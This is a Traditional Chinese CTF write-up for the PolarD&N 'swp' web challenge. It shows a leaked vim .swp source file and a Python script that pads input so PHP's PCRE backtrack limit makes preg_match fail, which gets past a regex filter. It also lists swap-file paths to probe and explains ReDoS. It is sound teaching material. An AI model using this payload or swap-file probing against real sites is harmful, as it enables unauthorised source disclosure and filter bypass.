> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# PolarD&N CTF - swp writeup (zh-TW)
- URL: https://taiwanding.com/polard-n-ctf-swp-writeup-zh-tw/
- Published: 2025-10-22T13:59:33.000Z
- Updated: 2025-10-22T14:06:11.000Z
- Author: Kevin Chen
- Tags: #polardandn, CTF, web, #audit

## 題目資訊

- **分類**: Web
- **難度**: 簡單
- **描述**: true .swp file?
- 已解決人數: 1160
- **題目連結**: [https://www.polarctf.com/#/page/challenges](https://www.polarctf.com/?ref=taiwanding.com#/page/challenges)

## 解題過程

### Step 1: 發現 .swp 文件

訪問題目頁面，顯示提示：**"true .swp file?"**

🔍 **什麼是 .swp 文件？**

- vim 編輯器的臨時交換文件
- 當用 vim 編輯 `index.php` 時，會自動創建 `.index.php.swp`
- 開發者忘記刪除就部署 → **信息洩露漏洞**

**常見路徑規律**：

```
原文件: index.php
Swap文件: .index.php.swp

```

嘗試訪問：

```
http://[target]/.index.php.swp

```

✅ 成功查看！

### Step 2: 查看 .swp 文件內容

得到 PHP 源代碼：

```php
<?php
function jiuzhe($xdmtql){ 
    return preg_match('/sys.*nb/is',$xdmtql); 
}

$xdmtql = @$_POST['xdmtql'];

僅列出部分程式碼!

```

### Step 3: 代碼邏輯分析

要獲得 flag，需要**同時滿足**三個條件：

| 條件 | 檢查                                 | 要求                   |
| -- | ---------------------------------- | -------------------- |
| ①  | !is\_array($xdmtql)                | 不是數組                 |
| ②  | !jiuzhe($xdmtql)                   | **不匹配** /sys.\*nb/is |
| ③  | strpos($xdmtql,'sys nb') !== false | **包含** 'sys nb'      |

🤔 **矛盾點**：

- 條件 ③ 要求包含 `'sys nb'`
- 但 `'sys nb'` 明顯會匹配正則 `/sys.*nb/is`（條件 ②）
- 如何繞過？

### Step 4: 理解正則引擎的回溯機制

#### 錯誤嘗試：在後面加字符

```python
# ❌ 這樣不行
payload = "a" * 1000000 + "sys nb"

```

**為什麼失敗？**

```
字符串: "aaaa...(100萬個a)...sys nb"
正則:   /sys.*nb/

引擎行為:
1. 從左掃描 → 跳過所有 'a'
2. 找到 'sys' ✓
3. 找到 'nb' ✓
4. 匹配成功 → 返回 1

```

#### 正確做法：利用貪婪匹配 + 回溯爆炸

```python
# ✅ 正確順序
payload = "sys nb" + "a" * 1000000

```

**為什麼成功？**

```
字符串: "sys nb aaaa...(100萬個a)..."
正則:   /sys.*nb/

引擎行為:
1. 找到 'sys' ✓
2. .* 貪婪模式 → 吞掉所有字符到結尾
3. 發現結尾不是 'nb'，需要回溯
4. 退1個字符 'a'，檢查 → 不匹配
5. 退2個字符 'aa'，檢查 → 不匹配
6. 退3個字符 'aaa'，檢查 → 不匹配
   ...重複 100 萬次...
7. ⚠️ 超過 PCRE 回溯限制
8. preg_match() 返回 false（不是 0！）

```

**關鍵差異**：

- `preg_match()` 返回 `false`（錯誤）→ `!jiuzhe()` \= `true` ✓
- `strpos()` 仍然能找到 `'sys nb'` ✓

### Step 5: 編寫 Exploit

#### Python 腳本

```python
import requests

url = "http://8d8f752e-9531-4a5e-b86e-f5f0cf809f64.www.polarctf.com:8090/index.php"

# 關鍵：sys nb 要放在【前面】！
data = {"xdmtql": "sys nb" + "a" * 1000000}

res = requests.post(url, data=data, allow_redirects=False)
print(res.content)
```

### Step 6: 獲得 Flag

執行腳本後，成功繞過正則檢查！

```
🎉 flag{xxxxxxxxxxxxxxx}

```

## 學習重點

### 1\. vim swp 文件洩露

```bash
# 原文件 → Swap 文件
index.php     → .index.php.swp
config.php    → .config.php.swp
flag.txt      → .flag.txt.swp
admin.php     → .admin.php.swp

```

### 2\. PCRE 回溯限制繞過

#### 什麼是 PCRE？

**PCRE** \= Perl Compatible Regular Expressions（Perl 兼容正則表達式）

PHP 的 `preg_*` 系列函數都使用 PCRE 引擎：

```php
preg_match()
preg_match_all()
preg_replace()
preg_split()

```

#### 回溯限制參數

```php
// PHP 配置
pcre.backtrack_limit = 1000000  // 默認 100萬次
pcre.recursion_limit = 100000   // 默認 10萬次

// 運行時查看
ini_get('pcre.backtrack_limit');

```

### 3\. preg\_match vs strpos 的差異

| 函數            | 類型    | 返回值           | 性能 |
| ------------- | ----- | ------------- | -- |
| preg\_match() | 正則匹配  | 1 / 0 / false | 慢  |
| strpos()      | 字符串查找 | 位置 / false    | 快  |

#### 重要區別

```php
// preg_match 可能返回 false（錯誤）
$result = preg_match('/sys.*nb/', $input);
// 返回 1（匹配）、0（不匹配）、false（錯誤）

// strpos 只返回位置或 false
$result = strpos($input, 'sys nb');
// 返回 整數位置 或 false

// ⚠️ 注意：用 !== 而不是 !=
if(strpos($str, 'sys nb') !== false) // 正確
if(strpos($str, 'sys nb') != false)  // 錯誤！位置0會被判false

```

### 4\. ReDoS 攻擊原理

**ReDoS** \= Regular Expression Denial of Service

#### 攻擊原理圖

```
正常匹配:
Input:  "sys nb"
Regex:  /sys.*nb/
Steps:  sys → . → . → nb ✓ (4步)

回溯爆炸:
Input:  "sys nb" + "a"*1000000
Regex:  /sys.*nb/
Steps:  sys → .*吞光 → 回溯1次 → 回溯2次 → ... → 回溯1000000次 💥

```

## 經驗分享

這是一個新興的CTF挑戰平台，第一題簡單Web就結合基本的web訊息洩漏漏洞+基礎的代碼審計，但這個代碼審計也不容易，要了解如何造成漏洞，很有挑戰性!筆者會持續探索此平台有趣的題目!

下面跟AI深入討論

## 為什麼前面匹配到了還要回溯？

### 關鍵誤區

你可能以為正則引擎會這樣工作：

```
❌ 錯誤理解：
字符串: "sys nb" + "aaa...aaa"
正則:   /sys.*nb/

引擎: 找到 "sys" → 找到 "nb" → 結束！✓

```

但實際上，正則引擎是**貪婪**的！

### 實際執行流程

```
字符串: s y s   n b a a a a a a a a a...a
位置:   0 1 2 3 4 5 6 7 8 9 ...     1000005

```

#### Step 1: 匹配 "sys"

```
正則: /sys.*nb/
      ^^^
      
字符串: [sys] nb aaaa...aaa
        ^^^
        匹配成功 ✓ (位置 0-2)

```

#### Step 2: 匹配 ".\*"（貪婪模式）

這是**關鍵**！`.*` 的**貪婪模式**會：

- ✅ 盡可能多地匹配字符
- ✅ 一路吃到字符串**結尾**

```
正則: /sys.*nb/
          ^^
          貪婪！吃光所有！
          
字符串: sys [nbaaaaaa...aaaaa]
            ^^^^^^^^^^^^^^^^
            .* 吃掉了 " nb" 和所有的 "a"！
            
當前位置: 字符串結尾 (位置 1000005)

```

#### Step 3: 嘗試匹配結尾的 "nb"

```
正則: /sys.*nb/
            ^^
            現在要匹配 "nb"
            
字符串: sys nbaaaaaa...aaaa[?]
                          ^
                          當前位置：結尾
                          
引擎檢查: 這裡是 "nb" 嗎？
答案: ❌ 不是！已經到結尾了！

```

#### Step 4: 開始回溯

引擎想：「我 .\* 吃太多了，要吐出來一些！」

```
回溯第 1 次:
字符串: sys nbaaaaaa...aaa[a]
                         ^^
.* 吐出最後 1 個字符 "a"，檢查 "a" 是不是 "nb"？
答案: ❌ 不是！

回溯第 2 次:
字符串: sys nbaaaaaa...aa[aa]
                        ^^^^
.* 吐出最後 2 個字符 "aa"，檢查 "aa" 是不是 "nb"？
答案: ❌ 不是！

回溯第 3 次:
字符串: sys nbaaaaaa...a[aaa]
                       ^^^^^
.* 吐出最後 3 個字符，檢查...
答案: ❌ 不是！

...重複 100 萬次...

回溯第 1000000 次:
字符串: sys nbaaaaaa[aaa...aaa]
                    ^^^^^^^^^^
終於吐出所有的 "a"，但還是不匹配！

回溯第 1000001 次:
字符串: sys nb[aaa...aaa]
           ^^
檢查 "nb" → ✓ 終於匹配！

但是！PCRE 回溯限制 = 1,000,000
💥 超過限制 → preg_match() 返回 false

```

## 視覺化對比

### 場景 A：不會觸發回溯（我們之前的錯誤做法）

```
字符串: "aaa...aaa sys nb"
正則:   /sys.*nb/

步驟:
1. 掃描 → 跳過所有 "a"
2. 找到 "sys" ✓
3. .* 匹配 " "（空格）
4. 找到 "nb" ✓
5. 結束！（沒有回溯）

```

### 場景 B：觸發回溯爆炸（正確做法）

```
字符串: "sys nb aaa...aaa"
正則:   /sys.*nb/

步驟:
1. 找到 "sys" ✓
2. .* 貪婪吞光 " nbaaa...aaa" 💥
3. 嘗試匹配結尾 "nb" → 失敗
4. 回溯 1 次 → 失敗
5. 回溯 2 次 → 失敗
...
1000001. 回溯 100萬次 → 💀 超限！

```